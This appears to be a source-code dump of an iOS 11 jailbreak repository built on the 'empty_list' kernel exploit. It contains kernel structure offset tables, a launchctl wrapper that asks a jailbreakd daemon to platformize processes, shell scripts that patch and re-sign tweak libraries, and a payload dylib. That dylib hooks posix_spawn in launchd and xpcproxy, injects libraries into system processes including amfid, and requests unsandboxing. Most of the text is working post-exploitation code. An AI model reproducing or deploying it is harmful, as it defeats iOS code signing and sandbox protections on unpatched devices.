*)server->h_addr, 51 | (char *)&serveraddr.sin_addr.s_addr, server->h_length); 52 | serveraddr.sin_port = htons(portno); 53 | 54 | /* get a message from the user */ 55 | bzero(buf, BUFSIZE); 56 | 57 | 58 | pid_t pd; 59 | posix_spawnattr_t attr; 60 | posix_spawnattr_init(&attr); 61 | posix_spawnattr_setflags(&attr, POSIX_SPAWN_START_SUSPENDED); //this flag will make the created process stay frozen until we send the CONT signal. This so we can platformize it before it launches. 62 | 63 | NSString *reallaunchctl = [NSString stringWithFormat:@"%@/launchctl_", [[NSBundle mainBundle] bundlePath]]; 64 | 65 | int rv = posix_spawn(&pd, [reallaunchctl UTF8String], NULL, &attr, argv, envp); 66 | 67 | struct JAILBREAKD_ENTITLE_PID entitlePacket; 68 | entitlePacket.Pid = pd; 69 | entitlePacket.Command = JAILBREAKD_COMMAND_PLATFORMIZE; 70 | 71 | memcpy(buf, &entitlePacket, sizeof(struct JAILBREAKD_ENTITLE_PID)); 72 | 73 | serverlen = sizeof(serveraddr); 74 | n = sendto(sockfd, buf, sizeof(struct JAILBREAKD_ENTITLE_PID), 0, (const struct sockaddr *)&serveraddr, serverlen); 75 | if (n < 0) { 76 | printf("Error in sendto\n"); 77 | return -1; 78 | } 79 | 80 | kill(pd, SIGCONT); //continue 81 | 82 | int a; 83 | waitpid(pd, &a, 0); 84 | 85 | return rv; 86 | } 87 | -------------------------------------------------------------------------------- /empty_list/main.m: -------------------------------------------------------------------------------- 1 | // 2 | // main.m 3 | // multi_path 4 | // 5 | // Created by Ian Beer on 5/28/18. 6 | // Copyright © 2018 Ian Beer. All rights reserved. 7 | // 8 | 9 | #import 10 | #import "AppDelegate.h" 11 | 12 | int main(int argc, char * argv[]) { 13 | @autoreleasepool { 14 | return UIApplicationMain(argc, argv, nil, NSStringFromClass([AppDelegate class])); 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /empty_list/multi_path.entitlements: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | com.apple.developer.networking.multipath 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /empty_list/offsets.h: -------------------------------------------------------------------------------- 1 | #ifndef offsets_h 2 | #define offsets_h 3 | 4 | enum kstruct_offset { 5 | /* struct task */ 6 | KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE, 7 | KSTRUCT_OFFSET_TASK_REF_COUNT, 8 | KSTRUCT_OFFSET_TASK_ACTIVE, 9 | KSTRUCT_OFFSET_TASK_VM_MAP, 10 | KSTRUCT_OFFSET_TASK_NEXT, 11 | KSTRUCT_OFFSET_TASK_PREV, 12 | KSTRUCT_OFFSET_TASK_ITK_SPACE, 13 | KSTRUCT_OFFSET_TASK_BSD_INFO, 14 | 15 | /* struct ipc_port */ 16 | KSTRUCT_OFFSET_IPC_PORT_IO_BITS, 17 | KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES, 18 | KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE, 19 | KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT, 20 | KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER, 21 | KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT, 22 | KSTRUCT_OFFSET_IPC_PORT_IP_PREMSG, 23 | KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT, 24 | KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS, 25 | 26 | /* struct proc */ 27 | KSTRUCT_OFFSET_PROC_PID, 28 | KSTRUCT_OFFSET_PROC_P_FD, 29 | 30 | /* struct filedesc */ 31 | KSTRUCT_OFFSET_FILEDESC_FD_OFILES, 32 | 33 | /* struct fileproc */ 34 | KSTRUCT_OFFSET_FILEPROC_F_FGLOB, 35 | 36 | /* struct fileglob */ 37 | KSTRUCT_OFFSET_FILEGLOB_FG_DATA, 38 | 39 | /* struct socket */ 40 | KSTRUCT_OFFSET_SOCKET_SO_PCB, 41 | 42 | /* struct pipe */ 43 | KSTRUCT_OFFSET_PIPE_BUFFER, 44 | 45 | /* struct ipc_space */ 46 | KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE_SIZE, 47 | KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE, 48 | 49 | KFREE_ADDR_OFFSET, 50 | }; 51 | 52 | int koffset(enum kstruct_offset offset); 53 | void offsets_init(void); 54 | 55 | #endif 56 | -------------------------------------------------------------------------------- /empty_list/offsets.m: -------------------------------------------------------------------------------- 1 | #import 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | #include "offsets.h" 10 | 11 | int* offsets = NULL; 12 | 13 | int kstruct_offsets_11_0[] = { 14 | 0xb, // KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE, 15 | 0x10, // KSTRUCT_OFFSET_TASK_REF_COUNT, 16 | 0x14, // KSTRUCT_OFFSET_TASK_ACTIVE, 17 | 0x20, // KSTRUCT_OFFSET_TASK_VM_MAP, 18 | 0x28, // KSTRUCT_OFFSET_TASK_NEXT, 19 | 0x30, // KSTRUCT_OFFSET_TASK_PREV, 20 | 0x308, // KSTRUCT_OFFSET_TASK_ITK_SPACE 21 | 0x368, // KSTRUCT_OFFSET_TASK_BSD_INFO, 22 | 23 | 0x0, // KSTRUCT_OFFSET_IPC_PORT_IO_BITS, 24 | 0x4, // KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES, 25 | 0x40, // KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE, 26 | 0x50, // KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT, 27 | 0x60, // KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER, 28 | 0x68, // KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT, 29 | 0x88, // KSTRUCT_OFFSET_IPC_PORT_IP_PREMSG, 30 | 0x90, // KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT, 31 | 0xa0, // KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS, 32 | 33 | 0x10, // KSTRUCT_OFFSET_PROC_PID, 34 | 0x108, // KSTRUCT_OFFSET_PROC_P_FD 35 | 36 | 0x0, // KSTRUCT_OFFSET_FILEDESC_FD_OFILES 37 | 38 | 0x8, // KSTRUCT_OFFSET_FILEPROC_F_FGLOB 39 | 40 | 0x38, // KSTRUCT_OFFSET_FILEGLOB_FG_DATA 41 | 42 | 0x10, // KSTRUCT_OFFSET_SOCKET_SO_PCB 43 | 44 | 0x10, // KSTRUCT_OFFSET_PIPE_BUFFER 45 | 46 | 0x14, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE_SIZE 47 | 0x20, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE 48 | 49 | 0x6c, // KFREE_ADDR_OFFSET 50 | }; 51 | 52 | int kstruct_offsets_11_3[] = { 53 | 0xb, // KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE, 54 | 0x10, // KSTRUCT_OFFSET_TASK_REF_COUNT, 55 | 0x14, // KSTRUCT_OFFSET_TASK_ACTIVE, 56 | 0x20, // KSTRUCT_OFFSET_TASK_VM_MAP, 57 | 0x28, // KSTRUCT_OFFSET_TASK_NEXT, 58 | 0x30, // KSTRUCT_OFFSET_TASK_PREV, 59 | 0x308, // KSTRUCT_OFFSET_TASK_ITK_SPACE 60 | 0x368, // KSTRUCT_OFFSET_TASK_BSD_INFO, 61 | 62 | 0x0, // KSTRUCT_OFFSET_IPC_PORT_IO_BITS, 63 | 0x4, // KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES, 64 | 0x40, // KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE, 65 | 0x50, // KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT, 66 | 0x60, // KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER, 67 | 0x68, // KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT, 68 | 0x88, // KSTRUCT_OFFSET_IPC_PORT_IP_PREMSG, 69 | 0x90, // KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT, 70 | 0xa0, // KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS, 71 | 72 | 0x10, // KSTRUCT_OFFSET_PROC_PID, 73 | 0x108, // KSTRUCT_OFFSET_PROC_P_FD 74 | 75 | 0x0, // KSTRUCT_OFFSET_FILEDESC_FD_OFILES 76 | 77 | 0x8, // KSTRUCT_OFFSET_FILEPROC_F_FGLOB 78 | 79 | 0x38, // KSTRUCT_OFFSET_FILEGLOB_FG_DATA 80 | 81 | 0x10, // KSTRUCT_OFFSET_SOCKET_SO_PCB 82 | 83 | 0x10, // KSTRUCT_OFFSET_PIPE_BUFFER 84 | 85 | 0x14, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE_SIZE 86 | 0x20, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE 87 | 88 | 0x7c, // KFREE_ADDR_OFFSET 89 | }; 90 | 91 | int koffset(enum kstruct_offset offset) { 92 | if (offsets == NULL) { 93 | printf("need to call offsets_init() prior to querying offsets\n"); 94 | return 0; 95 | } 96 | return offsets[offset]; 97 | } 98 | 99 | 100 | void offsets_init() { 101 | if (@available(iOS 11.4, *)) { 102 | printf("this bug is patched in iOS 11.4 and above\n"); 103 | exit(EXIT_FAILURE); 104 | } else if (@available(iOS 11.3, *)) { 105 | printf("offsets selected for iOS 11.3 or above\n"); 106 | offsets = kstruct_offsets_11_3; 107 | } else if (@available(iOS 11.0, *)) { 108 | printf("offsets selected for iOS 11.0 to 11.2.6\n"); 109 | offsets = kstruct_offsets_11_0; 110 | } else { 111 | printf("iOS version too low, 11.0 required\n"); 112 | exit(EXIT_FAILURE); 113 | } 114 | } 115 | -------------------------------------------------------------------------------- /empty_list/patcher: -------------------------------------------------------------------------------- 1 | export LANG=C 2 | 3 | dpkg-deb -R $1 $2 4 | 5 | mkdir $2 2> /dev/null 6 | 7 | for i in $2/Library/MobileSubstrate/DynamicLibraries/*dylib 8 | do 9 | sed -i "" 's/\/Library\//\/var\/LIB\//g' $i 2> /dev/null 10 | sed -i "" 's/\/System\/var\/LIB\//\/System\/Library\//g' $i 2> /dev/null 11 | sed -i "" 's/%@\/var\/LIB\//%@\/Library\//g' $i 2> /dev/null 12 | sed -i "" 's/mobile\/var\/LIB\//mobile\/Library\//g' $i 2> /dev/null 13 | sed -i "" 's/\/usr\/lib\/libsubstrate/\/var\/ulb\/libsubstrate/g' $i 2> /dev/null 14 | sed -i "" 's/\/usr\/lib\/libsubstitute/\/var\/ulb\/libsubstitute/g' $i 2> /dev/null 15 | sed -i "" 's/\/usr\/lib\/libprefs/\/var\/ulb\/libprefs/g' $i 2> /dev/null 16 | ldid -S $i 2> /dev/null 17 | done 18 | 19 | for i in $2/usr/lib/*dylib 20 | do 21 | sed -i "" 's/\/Library\//\/var\/LIB\//g' $i 2> /dev/null 22 | sed -i "" 's/\/System\/var\/LIB\//\/System\/Library\//g' $i 2> /dev/null 23 | sed -i "" 's/mobile\/var\/LIB\//mobile\/Library\//g' $i 2> /dev/null 24 | sed -i "" 's/%@\/var\/LIB\//%@\/Library\//g' $i 2> /dev/null 25 | sed -i "" 's/\/usr\/lib\/libsubstrate/\/var\/ulb\/libsubstrate/g' $i 2> /dev/null 26 | sed -i "" 's/\/usr\/lib\/libsubstitute/\/var\/ulb\/libsubstitute/g' $i 2> /dev/null 27 | sed -i "" 's/\/usr\/lib\/libprefs/\/var\/ulb\/libprefs/g' $i 2> /dev/null 28 | ldid -S $i 2> /dev/null 29 | done 30 | 31 | 32 | for i in $2/Library/PreferenceBundles/*/* 33 | do 34 | sed -i "" 's/\/Library\//\/var\/LIB\//g' $i 2> /dev/null 35 | sed -i "" 's/\/System\/var\/LIB\//\/System\/Library\//g' $i 2> /dev/null 36 | sed -i "" 's/%@\/var\/LIB\//\/%@\/Library\//g' $i 2> /dev/null 37 | sed -i "" 's/mobile\/var\/LIB\//mobile\/Library\//g' $i 2> /dev/null 38 | sed -i "" 's/\/usr\/lib\/libsubstrate/\/var\/ulb\/libsubstrate/g' $i 2> /dev/null 39 | sed -i "" 's/\/usr\/lib\/libsubstitute/\/var\/ulb\/libsubstitute/g' $i 2> /dev/null 40 | sed -i "" 's/\/usr\/lib\/libprefs/\/var\/ulb\/libprefs/g' $i 2> /dev/null 41 | ldid -S $i 2> /dev/null 42 | done 43 | -------------------------------------------------------------------------------- /empty_list/pspawn_payload/Makefile: -------------------------------------------------------------------------------- 1 | TARGET = pspawn_payload.dylib 2 | OUTDIR ?= bin 3 | 4 | CC = xcrun -sdk iphoneos cc -arch arm64 5 | # it is injected into trust cache by code 6 | # which only supports sha-256 signatures 7 | LDID = ldid2 8 | CFLAGS = -Wall 9 | 10 | .PHONY: all clean 11 | 12 | all: $(OUTDIR)/$(TARGET) 13 | 14 | DEBUG ?= 0 15 | ifeq ($(DEBUG), 1) 16 | CFLAGS += -DPSPAWN_PAYLOAD_DEBUG 17 | else 18 | CFLAGS += -O2 19 | endif 20 | 21 | $(OUTDIR): 22 | mkdir -p $(OUTDIR) 23 | 24 | $(OUTDIR)/$(TARGET): pspawn_payload.m fishhook.c common.c | $(OUTDIR) 25 | $(CC) -dynamiclib -o $@ $^ -framework Foundation $(CFLAGS) 26 | $(LDID) -S $@ 27 | 28 | clean: 29 | rm -f $(OUTDIR)/$(TARGET) 30 | -------------------------------------------------------------------------------- /empty_list/pspawn_payload/bin/pspawn_payload.dylib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jakeajames/rootlessJB_EL/264cb6f857c2b0cd93d6cd3f798f8b7bc5aa139a/empty_list/pspawn_payload/bin/pspawn_payload.dylib -------------------------------------------------------------------------------- /empty_list/pspawn_payload/common.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | 16 | #include "common.h" 17 | 18 | int file_exist(const char *filename) { 19 | struct stat buffer; 20 | int r = stat(filename, &buffer); 21 | return (r == 0); 22 | } 23 | 24 | struct __attribute__((__packed__)) JAILBREAKD_ENTITLE_PID_AND_SIGCONT { 25 | uint8_t Command; 26 | int32_t PID; 27 | }; 28 | 29 | int jailbreakd_sockfd = -1; 30 | struct sockaddr_in jailbreakd_serveraddr; 31 | int jailbreakd_serverlen; 32 | struct hostent *jailbreakd_server; 33 | 34 | void openjailbreakdsocket(){ 35 | char *hostname = "127.0.0.1"; 36 | int portno = 5; 37 | 38 | jailbreakd_sockfd = socket(AF_INET, SOCK_DGRAM, 0); 39 | if (jailbreakd_sockfd < 0) 40 | printf("ERROR opening socket\n"); 41 | 42 | /* gethostbyname: get the server's DNS entry */ 43 | jailbreakd_server = gethostbyname(hostname); 44 | if (jailbreakd_server == NULL) { 45 | fprintf(stderr,"ERROR, no such host as %s\n", hostname); 46 | exit(0); 47 | } 48 | 49 | /* build the server's Internet address */ 50 | bzero((char *) &jailbreakd_serveraddr, sizeof(jailbreakd_serveraddr)); 51 | jailbreakd_serveraddr.sin_family = AF_INET; 52 | bcopy((char *)jailbreakd_server->h_addr, 53 | (char *)&jailbreakd_serveraddr.sin_addr.s_addr, jailbreakd_server->h_length); 54 | jailbreakd_serveraddr.sin_port = htons(portno); 55 | 56 | jailbreakd_serverlen = sizeof(jailbreakd_serveraddr); 57 | } 58 | 59 | void calljailbreakd(pid_t PID, uint8_t command) { 60 | if (jailbreakd_sockfd == -1) { 61 | openjailbreakdsocket(); 62 | } 63 | 64 | #define BUFSIZE 1024 65 | 66 | int n; 67 | char buf[BUFSIZE]; 68 | 69 | /* get a message from the user */ 70 | bzero(buf, BUFSIZE); 71 | 72 | struct JAILBREAKD_ENTITLE_PID_AND_SIGCONT entitlePacket; 73 | entitlePacket.Command = command; 74 | entitlePacket.PID = PID; 75 | 76 | memcpy(buf, &entitlePacket, sizeof(entitlePacket)); 77 | 78 | n = sendto(jailbreakd_sockfd, buf, sizeof(struct JAILBREAKD_ENTITLE_PID_AND_SIGCONT), 0, (const struct sockaddr *)&jailbreakd_serveraddr, jailbreakd_serverlen); 79 | if (n < 0) 80 | printf("Error in sendto\n"); 81 | } 82 | 83 | void closejailbreakfd(void) { 84 | close(jailbreakd_sockfd); 85 | jailbreakd_sockfd = -1; 86 | } 87 | 88 | -------------------------------------------------------------------------------- /empty_list/pspawn_payload/common.h: -------------------------------------------------------------------------------- 1 | #ifndef PAYLOADS_COMMON_H 2 | #define PAYLOADS_COMMON_H 3 | 4 | #include 5 | 6 | int file_exist(const char *filename); 7 | 8 | #define JAILBREAKD_COMMAND_ENTITLE_AND_SIGCONT 2 9 | #define JAILBREAKD_COMMAND_ENTITLE_AND_SIGCONT_AFTER_DELAY 4 10 | #define JAILBREAKD_COMMAND_ENTITLE_AND_SIGCONT_FROM_XPCPROXY 5 11 | #define JAILBREAKD_COMMAND_UNSANDBOX 7 12 | 13 | void calljailbreakd(pid_t PID, uint8_t command); 14 | void closejailbreakfd(void); 15 | 16 | #endif // PAYLOADS_COMMON_H 17 | 18 | -------------------------------------------------------------------------------- /empty_list/pspawn_payload/pspawn_payload.m: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include "fishhook.h" 19 | #include "common.h" 20 | 21 | //#define PSPAWN_PAYLOAD_DEBUG 22 | 23 | #ifdef PSPAWN_PAYLOAD_DEBUG 24 | #define LAUNCHD_LOG_PATH "/var/log/pspawn_payload_launchd.log" 25 | // XXX multiple xpcproxies opening same file 26 | // XXX not closing logfile before spawn 27 | #define XPCPROXY_LOG_PATH "/var/log/pspawn_payload_xpcproxy.log" 28 | FILE *log_file; 29 | #define DEBUGLOG(fmt, args...)\ 30 | do {\ 31 | if (log_file == NULL) {\ 32 | log_file = fopen((current_process == PROCESS_LAUNCHD) ? LAUNCHD_LOG_PATH : XPCPROXY_LOG_PATH, "a"); \ 33 | if (log_file == NULL) break; \ 34 | } \ 35 | fprintf(log_file, fmt "\n", ##args); \ 36 | fflush(log_file); \ 37 | } while(0) 38 | #else 39 | #define DEBUGLOG(fmt, args...) 40 | #endif 41 | 42 | #define PSPAWN_PAYLOAD_DYLIB "/var/containers/Bundle/dylibs/pspawn_payload.dylib" 43 | #define AMFID_PAYLOAD_DYLIB "/var/containers/Bundle/dylibs/amfid_payload.dylib" 44 | #define SBINJECT_PAYLOAD_DYLIB "/var/ulb/TweakInject.dylib" 45 | 46 | // since this dylib should only be loaded into launchd and xpcproxy 47 | // it's safe to assume that we're in xpcproxy if getpid() != 1 48 | enum currentprocess { 49 | PROCESS_LAUNCHD, 50 | PROCESS_XPCPROXY, 51 | }; 52 | 53 | int current_process = PROCESS_XPCPROXY; 54 | 55 | /*const char* xpcproxy_blacklist[] = { 56 | "com.apple.diagnosticd", // syslog 57 | "com.apple.ReportCrash", // crash reporting 58 | "MTLCompilerService", // ?_? 59 | "OTAPKIAssetTool", // h_h 60 | "cfprefsd", // o_o 61 | "jailbreakd", // don't inject into jbd since we'd have to call to it 62 | NULL 63 | }; 64 | */ 65 | const char* xpcproxy_whitelist[] = { 66 | "MobileSMS",// iMessage 67 | "mobilesms", //idk what which how so do both 68 | "springboard", // SB 69 | "SpringBoard", 70 | "mobiletimer", // Clock 71 | "MobileTimer", 72 | "Home", // Home 73 | "Preferences", //Settings 74 | "iSuperSU", 75 | "Filza", 76 | NULL 77 | }; 78 | 79 | typedef int (*pspawn_t)(pid_t * pid, const char* path, const posix_spawn_file_actions_t *file_actions, posix_spawnattr_t *attrp, char const* argv[], const char* envp[]); 80 | 81 | pspawn_t old_pspawn, old_pspawnp; 82 | 83 | int fake_posix_spawn_common(pid_t * pid, const char* path, const posix_spawn_file_actions_t *file_actions, posix_spawnattr_t *attrp, char const* argv[], const char* envp[], pspawn_t old) { 84 | DEBUGLOG("We got called (fake_posix_spawn)! %s", path); 85 | 86 | const char *inject_me = NULL; 87 | 88 | if (current_process == PROCESS_LAUNCHD) { 89 | if (strcmp(path, "/usr/libexec/xpcproxy") == 0) { 90 | inject_me = NULL; 91 | 92 | const char* startd = argv[1]; 93 | if (startd != NULL) { 94 | const char **whitelist = xpcproxy_whitelist; 95 | 96 | while (*whitelist) { 97 | if (strstr(startd, *whitelist)) { 98 | DEBUGLOG("xpcproxy for '%s' which is in whitelist, injecting", startd); 99 | inject_me = PSPAWN_PAYLOAD_DYLIB; 100 | break; 101 | } 102 | ++whitelist; 103 | } 104 | } 105 | } 106 | } else if (current_process == PROCESS_XPCPROXY) { 107 | // XXX inject both SBInject & amfid payload into amfid? 108 | // note: DYLD_INSERT_LIBRARIES=libfoo1.dylib:libfoo2.dylib 109 | if (strcmp(path, "/usr/libexec/amfid") == 0) { 110 | DEBUGLOG("Starting amfid -- special handling"); 111 | inject_me = AMFID_PAYLOAD_DYLIB; 112 | } else { 113 | inject_me = SBINJECT_PAYLOAD_DYLIB; 114 | } 115 | } 116 | 117 | // XXX log different err on inject_me == NULL and nonexistent inject_me 118 | if (inject_me == NULL || !file_exist(inject_me)) { 119 | DEBUGLOG("Nothing to inject"); 120 | return old(pid, path, file_actions, attrp, argv, envp); 121 | } 122 | 123 | DEBUGLOG("Injecting %s into %s", inject_me, path); 124 | 125 | #ifdef PSPAWN_PAYLOAD_DEBUG 126 | if (argv != NULL){ 127 | DEBUGLOG("Args: "); 128 | const char** currentarg = argv; 129 | while (*currentarg != NULL){ 130 | DEBUGLOG("\t%s", *currentarg); 131 | currentarg++; 132 | } 133 | } 134 | #endif 135 | 136 | int envcount = 0; 137 | 138 | if (envp != NULL){ 139 | DEBUGLOG("Env: "); 140 | const char** currentenv = envp; 141 | while (*currentenv != NULL){ 142 | DEBUGLOG("\t%s", *currentenv); 143 | if (strstr(*currentenv, "DYLD_INSERT_LIBRARIES") == NULL) { 144 | envcount++; 145 | } 146 | currentenv++; 147 | } 148 | } 149 | 150 | char const** newenvp = malloc((envcount+2) * sizeof(char **)); 151 | int j = 0; 152 | for (int i = 0; i < envcount; i++){ 153 | if (strstr(envp[j], "DYLD_INSERT_LIBRARIES") != NULL){ 154 | continue; 155 | } 156 | newenvp[i] = envp[j]; 157 | j++; 158 | } 159 | 160 | char *envp_inject = malloc(strlen("DYLD_INSERT_LIBRARIES=") + strlen(inject_me) + 1); 161 | 162 | envp_inject[0] = '\0'; 163 | strcat(envp_inject, "DYLD_INSERT_LIBRARIES="); 164 | strcat(envp_inject, inject_me); 165 | 166 | newenvp[j] = envp_inject; 167 | newenvp[j+1] = NULL; 168 | 169 | #ifdef PSPAWN_PAYLOAD_DEBUG 170 | DEBUGLOG("New Env:"); 171 | const char** currentenv = newenvp; 172 | while (*currentenv != NULL){ 173 | DEBUGLOG("\t%s", *currentenv); 174 | currentenv++; 175 | } 176 | #endif 177 | 178 | posix_spawnattr_t attr; 179 | 180 | posix_spawnattr_t *newattrp = &attr; 181 | 182 | if (attrp) { 183 | newattrp = attrp; 184 | short flags; 185 | posix_spawnattr_getflags(attrp, &flags); 186 | flags |= POSIX_SPAWN_START_SUSPENDED; 187 | posix_spawnattr_setflags(attrp, flags); 188 | } else { 189 | posix_spawnattr_init(&attr); 190 | posix_spawnattr_setflags(&attr, POSIX_SPAWN_START_SUSPENDED); 191 | } 192 | 193 | int origret; 194 | 195 | if (current_process == PROCESS_XPCPROXY) { 196 | // dont leak logging fd into execd process 197 | #ifdef PSPAWN_PAYLOAD_DEBUG 198 | if (log_file != NULL) { 199 | fclose(log_file); 200 | log_file = NULL; 201 | } 202 | #endif 203 | calljailbreakd(getpid(), JAILBREAKD_COMMAND_ENTITLE_AND_SIGCONT_FROM_XPCPROXY); 204 | 205 | // dont leak jbd fd into execd process 206 | closejailbreakfd(); 207 | 208 | origret = old(pid, path, file_actions, newattrp, argv, newenvp); 209 | 210 | } else { 211 | int gotpid; 212 | origret = old(&gotpid, path, file_actions, newattrp, argv, newenvp); 213 | 214 | if (origret == 0) { 215 | if (pid != NULL) *pid = gotpid; 216 | calljailbreakd(gotpid, JAILBREAKD_COMMAND_ENTITLE_AND_SIGCONT); 217 | } 218 | } 219 | 220 | return origret; 221 | } 222 | 223 | 224 | int fake_posix_spawn(pid_t * pid, const char* file, const posix_spawn_file_actions_t *file_actions, posix_spawnattr_t *attrp, const char* argv[], const char* envp[]) { 225 | return fake_posix_spawn_common(pid, file, file_actions, attrp, argv, envp, old_pspawn); 226 | } 227 | 228 | int fake_posix_spawnp(pid_t * pid, const char* file, const posix_spawn_file_actions_t *file_actions, posix_spawnattr_t *attrp, const char* argv[], const char* envp[]) { 229 | return fake_posix_spawn_common(pid, file, file_actions, attrp, argv, envp, old_pspawnp); 230 | } 231 | 232 | 233 | void rebind_pspawns(void) { 234 | struct rebinding rebindings[] = { 235 | {"posix_spawn", (void *)fake_posix_spawn, (void **)&old_pspawn}, 236 | {"posix_spawnp", (void *)fake_posix_spawnp, (void **)&old_pspawnp}, 237 | }; 238 | 239 | rebind_symbols(rebindings, 2); 240 | } 241 | 242 | void* thd_func(void* arg){ 243 | NSLog(@"In a new thread!"); 244 | rebind_pspawns(); 245 | return NULL; 246 | } 247 | 248 | __attribute__ ((constructor)) 249 | static void ctor(void) { 250 | if (getpid() == 1) { 251 | current_process = PROCESS_LAUNCHD; 252 | pthread_t thd; 253 | pthread_create(&thd, NULL, thd_func, NULL); 254 | } else { 255 | current_process = PROCESS_XPCPROXY; 256 | rebind_pspawns(); 257 | } 258 | } 259 | -------------------------------------------------------------------------------- /empty_list/sploit.h: -------------------------------------------------------------------------------- 1 | #ifndef sploit_h 2 | #define sploit_h 3 | 4 | mach_port_t run(void); 5 | 6 | #endif 7 | -------------------------------------------------------------------------------- /empty_list/tar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jakeajames/rootlessJB_EL/264cb6f857c2b0cd93d6cd3f798f8b7bc5aa139a/empty_list/tar -------------------------------------------------------------------------------- /empty_list/test: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jakeajames/rootlessJB_EL/264cb6f857c2b0cd93d6cd3f798f8b7bc5aa139a/empty_list/test -------------------------------------------------------------------------------- /empty_list/tweaksupport.tar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jakeajames/rootlessJB_EL/264cb6f857c2b0cd93d6cd3f798f8b7bc5aa139a/empty_list/tweaksupport.tar -------------------------------------------------------------------------------- /patcher: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | export LANG=C 4 | export LC_CTYPE=C 5 | export LC_ALL=C 6 | 7 | dpkg-deb -R $1 $2 8 | 9 | mkdir $2 2> /dev/null 10 | 11 | for i in $2/Library/MobileSubstrate/DynamicLibraries/*dylib 12 | do 13 | sed -i "" 's/\/Library\//\/var\/LIB\//g' $i 2> /dev/null 14 | sed -i "" 's/\/System\/var\/LIB\//\/System\/Library\//g' $i 2> /dev/null 15 | sed -i "" 's/%@\/var\/LIB\//%@\/Library\//g' $i 2> /dev/null 16 | sed -i "" 's/mobile\/var\/LIB\//mobile\/Library\//g' $i 2> /dev/null 17 | sed -i "" 's/\/usr\/lib\/libsubstrate/\/var\/ulb\/libsubstrate/g' $i 2> /dev/null 18 | sed -i "" 's/\/usr\/lib\/libsubstitute/\/var\/ulb\/libsubstitute/g' $i 2> /dev/null 19 | sed -i "" 's/\/usr\/lib\/libprefs/\/var\/ulb\/libprefs/g' $i 2> /dev/null 20 | ldid -S $i 2> /dev/null 21 | done 22 | 23 | for i in $2/usr/lib/*dylib 24 | do 25 | sed -i "" 's/\/Library\//\/var\/LIB\//g' $i 2> /dev/null 26 | sed -i "" 's/\/System\/var\/LIB\//\/System\/Library\//g' $i 2> /dev/null 27 | sed -i "" 's/mobile\/var\/LIB\//mobile\/Library\//g' $i 2> /dev/null 28 | sed -i "" 's/%@\/var\/LIB\//%@\/Library\//g' $i 2> /dev/null 29 | sed -i "" 's/\/usr\/lib\/libsubstrate/\/var\/ulb\/libsubstrate/g' $i 2> /dev/null 30 | sed -i "" 's/\/usr\/lib\/libsubstitute/\/var\/ulb\/libsubstitute/g' $i 2> /dev/null 31 | sed -i "" 's/\/usr\/lib\/libprefs/\/var\/ulb\/libprefs/g' $i 2> /dev/null 32 | ldid -S $i 2> /dev/null 33 | done 34 | 35 | 36 | for i in $2/Library/PreferenceBundles/*/* 37 | do 38 | sed -i "" 's/\/Library\//\/var\/LIB\//g' $i 2> /dev/null 39 | sed -i "" 's/\/System\/var\/LIB\//\/System\/Library\//g' $i 2> /dev/null 40 | sed -i "" 's/%@\/var\/LIB\//%@\/Library\//g' $i 2> /dev/null 41 | sed -i "" 's/mobile\/var\/LIB\//mobile\/Library\//g' $i 2> /dev/null 42 | sed -i "" 's/\/usr\/lib\/libsubstrate/\/var\/ulb\/libsubstrate/g' $i 2> /dev/null 43 | sed -i "" 's/\/usr\/lib\/libsubstitute/\/var\/ulb\/libsubstitute/g' $i 2> /dev/null 44 | sed -i "" 's/\/usr\/lib\/libprefs/\/var\/ulb\/libprefs/g' $i 2> /dev/null 45 | ldid -S $i 2> /dev/null 46 | done -------------------------------------------------------------------------------- /rootlessJB.ipa: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jakeajames/rootlessJB_EL/264cb6f857c2b0cd93d6cd3f798f8b7bc5aa139a/rootlessJB.ipa --------------------------------------------------------------------------------